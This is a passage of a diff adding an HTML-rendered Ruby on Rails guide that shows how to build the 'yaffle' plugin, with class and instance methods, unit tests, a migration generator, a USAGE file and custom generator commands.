+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> InstanceMethods
+    <span style="font-style: italic"><span style="color: #9A1900"># any method placed here will apply to instaces, like @hickwall</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>With structure you can easily separate the methods that will be used for the class (like <tt>Hickwall.some_method</tt>) and the instance (like <tt>@hickwell.some_method</tt>).</p></div>
+<h3 id="_add_a_class_method">3.1. Add a class method</h3>
+<div class="para"><p>This plugin will expect that you've added a method to your model named <em>last_squawk</em>.  However, the plugin users might have already defined a method on their model named <em>last_squawk</em> that they use for something else.  This plugin will allow the name to be changed by adding a class method called <em>yaffle_text_field</em>.</p></div>
+<div class="para"><p>To start out, write a failing test that shows the behavior you'd like:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  acts_as_yaffle
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Wickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  acts_as_yaffle <span style="color: #990000">:</span>yaffle_text_field <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>last_tweet
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+  load_schema
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal <span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> Hickwall<span style="color: #990000">.</span>yaffle_text_field
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal <span style="color: #FF0000">"last_tweet"</span><span style="color: #990000">,</span> Wickwall<span style="color: #990000">.</span>yaffle_text_field
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>To make these tests pass, you could modify your <tt>acts_as_yaffle</tt> file like so:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
+    base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
+    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_yaffle<span style="color: #990000">(</span>options <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
+      cattr_accessor <span style="color: #990000">:</span>yaffle_text_field
+      <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>yaffle_text_field <span style="color: #990000">=</span> <span style="color: #990000">(</span>options<span style="color: #990000">[:</span>yaffle_text_field<span style="color: #990000">]</span> <span style="color: #990000">||</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">).</span>to_s
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle
+</tt></pre></div></div>
+<h3 id="_add_an_instance_method">3.2. Add an instance method</h3>
+<div class="para"><p>This plugin will add a method named <em>squawk</em> to any Active Record objects that call <em>acts_as_yaffle</em>.  The <em>squawk</em> method will simply set the value of one of the fields in the database.</p></div>
+<div class="para"><p>To start out, write a failing test that shows the behavior you'd like:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/acts_as_yaffle_test.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Hickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  acts_as_yaffle
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Wickwall <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  acts_as_yaffle <span style="color: #990000">:</span>yaffle_text_field <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>last_tweet
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ActsAsYaffleTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+  load_schema
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal <span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> Hickwall<span style="color: #990000">.</span>yaffle_text_field
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal <span style="color: #FF0000">"last_tweet"</span><span style="color: #990000">,</span> Wickwall<span style="color: #990000">.</span>yaffle_text_field
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_hickwalls_squawk_should_populate_last_squawk
+    hickwall <span style="color: #990000">=</span> Hickwall<span style="color: #990000">.</span>new
+    hickwall<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
+    assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> hickwall<span style="color: #990000">.</span>last_squawk
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_wickwalls_squawk_should_populate_last_tweeted_at
+    wickwall <span style="color: #990000">=</span> Wickwall<span style="color: #990000">.</span>new
+    wickwall<span style="color: #990000">.</span>squawk<span style="color: #990000">(</span><span style="color: #FF0000">"Hello World"</span><span style="color: #990000">)</span>
+    assert_equal <span style="color: #FF0000">"squawk! Hello World"</span><span style="color: #990000">,</span> wickwall<span style="color: #990000">.</span>last_tweet
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Run this test to make sure the last two tests fail, then update <em>acts_as_yaffle.rb</em> to look like this:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle/acts_as_yaffle.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>included<span style="color: #990000">(</span>base<span style="color: #990000">)</span>
+    base<span style="color: #990000">.</span>send <span style="color: #990000">:</span>extend<span style="color: #990000">,</span> ClassMethods
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> ClassMethods
+    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> acts_as_yaffle<span style="color: #990000">(</span>options <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
+      cattr_accessor <span style="color: #990000">:</span>yaffle_text_field
+      <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>yaffle_text_field <span style="color: #990000">=</span> <span style="color: #990000">(</span>options<span style="color: #990000">[:</span>yaffle_text_field<span style="color: #990000">]</span> <span style="color: #990000">||</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">).</span>to_s
+      send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> InstanceMethods
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> InstanceMethods
+    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> squawk<span style="color: #990000">(</span>string<span style="color: #990000">)</span>
+      write_attribute<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>yaffle_text_field<span style="color: #990000">,</span> string<span style="color: #990000">.</span>to_squawk<span style="color: #990000">)</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>send <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span> Yaffle
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">
+<div class="title">Editor's note:</div>The use of <tt>write_attribute</tt> to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use.  For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_create_a_generator">4. Create a generator</h2>
+<div class="sectionbody">
+<div class="para"><p>Many plugins ship with generators.  When you created the plugin above, you specified the &#8212;with-generator option, so you already have the generator stubs in <em>vendor/plugins/yaffle/generators/yaffle</em>.</p></div>
+<div class="para"><p>Building generators is a complex topic unto itself and this section will cover one small aspect of generators:  creating a generator that adds a time-stamped migration.</p></div>
+<div class="para"><p>To create a generator you must:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Add your instructions to the <em>manifest</em> method of the generator
+</p>
+</li>
+<li>
+<p>
+Add any necessary template files to the templates directory
+</p>
+</li>
+<li>
+<p>
+Test the generator manually by running various combinations of <tt>script/generate</tt> and <tt>script/destroy</tt>
+</p>
+</li>
+<li>
+<p>
+Update the USAGE file to add helpful documentation for your generator
+</p>
+</li>
+</ul></div>
+<h3 id="_testing_generators">4.1. Testing generators</h3>
+<div class="para"><p>Many rails plugin authors do not test their generators, however testing generators is quite simple.  A typical generator test does the following:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Creates a new fake rails root directory that will serve as destination
+</p>
+</li>
+<li>
+<p>
+Runs the generator forward and backward, making whatever assertions are necessary
+</p>
+</li>
+<li>
+<p>
+Removes the fake rails root
+</p>
+</li>
+</ul></div>
+<div class="para"><p>For the generator in this section, the test could look something like this:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/yaffle_generator_test.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/scripts/generate'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/scripts/destroy'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> GeneratorTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> fake_rails_root
+    File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'rails_root'</span><span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> file_list
+    Dir<span style="color: #990000">.</span>glob<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">,</span> <span style="color: #FF0000">"db"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"migrate"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"*"</span><span style="color: #990000">))</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
+    FileUtils<span style="color: #990000">.</span>mkdir_p<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">)</span>
+    <span style="color: #009900">@original_files</span> <span style="color: #990000">=</span> file_list
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> teardown
+    FileUtils<span style="color: #990000">.</span>rm_r<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_generates_correct_file_name
+    Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Scripts<span style="color: #990000">::</span>Generate<span style="color: #990000">.</span>new<span style="color: #990000">.</span>run<span style="color: #990000">([</span><span style="color: #FF0000">"yaffle"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"bird"</span><span style="color: #990000">],</span> <span style="color: #990000">:</span>destination <span style="color: #990000">=&gt;</span> fake_rails_root<span style="color: #990000">)</span>
+    new_file <span style="color: #990000">=</span> <span style="color: #990000">(</span>file_list <span style="color: #990000">-</span> <span style="color: #009900">@original_files</span><span style="color: #990000">).</span>first
+    assert_match <span style="color: #FF6600">/add_yaffle_fields_to_bird/</span><span style="color: #990000">,</span> new_file
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can run <em>rake</em> from the plugin directory to see this fail.  Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.</p></div>
+<h3 id="_adding_to_the_manifest">4.2. Adding to the manifest</h3>
+<div class="para"><p>This example will demonstrate how to use one of the built-in generator methods named <em>migration_template</em> to create a migration file.  To start, update your generator file to look like this:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleGenerator <span style="color: #990000">&lt;</span> Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>NamedBase
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> manifest
+    record <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>m<span style="color: #990000">|</span>
+      m<span style="color: #990000">.</span>migration_template <span style="color: #FF0000">'migration:migration.rb'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"db/migrate"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>assigns <span style="color: #990000">=&gt;</span> yaffle_local_assigns<span style="color: #990000">,</span>
+        <span style="color: #990000">:</span>migration_file_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"add_yaffle_fields_to_#{custom_file_name}"</span>
+      <span style="color: #FF0000">}</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  private
+    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> custom_file_name
+      custom_name <span style="color: #990000">=</span> class_name<span style="color: #990000">.</span>underscore<span style="color: #990000">.</span>downcase
+      custom_name <span style="color: #990000">=</span> custom_name<span style="color: #990000">.</span>pluralize <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>pluralize_table_names
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_local_assigns
+      returning<span style="color: #990000">(</span>assigns <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+        assigns<span style="color: #990000">[:</span>migration_action<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"add"</span>
+        assigns<span style="color: #990000">[:</span>class_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"add_yaffle_fields_to_#{custom_file_name}"</span>
+        assigns<span style="color: #990000">[:</span>table_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> custom_file_name
+        assigns<span style="color: #990000">[:</span>attributes<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #990000">[</span>Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>GeneratedAttribute<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"string"</span><span style="color: #990000">)]</span>
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The generator creates a new file in <em>db/migrate</em> with a timestamp and an <em>add_column</em> statement.  It reuses the built in rails <tt>migration_template</tt> method, and reuses the built-in rails migration template.</p></div>
+<div class="para"><p>It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names.  This way people using your generator won't have to manually change the generated files if they've turned pluralization off.</p></div>
+<h3 id="_manually_test_the_generator">4.3. Manually test the generator</h3>
+<div class="para"><p>To run the generator, type the following at the command line:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>./script/generate yaffle bird</tt></pre>
+</div></div>
+<div class="para"><p>and you will see a new file:</p></div>
+<div class="para"><p><strong>db/migrate/20080529225649_add_yaffle_fields_to_birds.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddYaffleFieldsToBirds <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    add_column <span style="color: #990000">:</span>birds<span style="color: #990000">,</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    remove_column <span style="color: #990000">:</span>birds<span style="color: #990000">,</span> <span style="color: #990000">:</span>last_squawk
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_the_usage_file">4.4. The USAGE file</h3>
+<div class="para"><p>Rails ships with several built-in generators.  You can see all of the generators available to you by typing the following at the command line:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>script/generate</tt></pre>
+</div></div>
+<div class="para"><p>You should see something like this:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>Installed Generators
+  Plugins (vendor/plugins): yaffle
+  Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration</tt></pre>
+</div></div>
+<div class="para"><p>When you run <tt>script/generate yaffle</tt> you should see the contents of your <em>vendor/plugins/yaffle/generators/yaffle/USAGE</em> file.</p></div>
+<div class="para"><p>For this plugin, update the USAGE file looks like this:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>Description:
+    Creates a migration that adds yaffle squawk fields to the given model
+
+Example:
+    ./script/generate yaffle hickwall
+
+    This will create:
+        db/migrate/TIMESTAMP_add_yaffle_fields_to_hickwall</tt></pre>
+</div></div>
+</div>
+<h2 id="_add_a_custom_generator_command">5. Add a custom generator command</h2>
+<div class="sectionbody">
+<div class="para"><p>You may have noticed above that you can used one of the built-in rails migration commands <tt>migration_template</tt>.  If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.</p></div>
+<div class="para"><p>This section describes how you you can create your own commands to add and remove a line of text from <em>routes.rb</em>.  This example creates a very simple method that adds or removes a text file.</p></div>
+<div class="para"><p>To start, add the following test method:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/test/generator_test.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_generates_definition
+  Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Scripts<span style="color: #990000">::</span>Generate<span style="color: #990000">.</span>new<span style="color: #990000">.</span>run<span style="color: #990000">([</span><span style="color: #FF0000">"yaffle"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"bird"</span><span style="color: #990000">],</span> <span style="color: #990000">:</span>destination <span style="color: #990000">=&gt;</span> fake_rails_root<span style="color: #990000">)</span>
+  definition <span style="color: #990000">=</span> File<span style="color: #990000">.</span>read<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">))</span>
+  assert_match <span style="color: #FF6600">/Yaffle\:/</span><span style="color: #990000">,</span> definition
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Run <tt>rake</tt> to watch the test fail, then make the test pass add the following:</p></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/generators/yaffle/templates/definition.txt</strong></p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>Yaffle: A bird</tt></pre>
+</div></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/commands"</span>
+</tt></pre></div></div>
+<div class="para"><p><strong>vendor/plugins/yaffle/lib/commands.rb</strong></p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator'</span>
+<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/commands'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Generator <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Commands <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
+      <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Create
+        <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_definition
+          file<span style="color: #990000">(</span><span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">)</span>
+        <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+      <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Destroy
+        <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_definition
+          file<span style="color: #990000">(</span><span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">)</span>
+        <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+      <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> List
+        <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_definition
+          file<span style="color: #990000">(</span><span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">)</span>
+        <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+      <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Update
+        <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_definition
+          file<span style="color: #990000">(</span><span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">)</span>
+        <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Create<span style="color: #990000">.</span>send   <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span>  Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Create
+Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Destroy<span style="color: #990000">.</span>send  <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span>  Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Destroy
+Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>List<span style="color: #990000">.</span>send     <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span>  Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>List
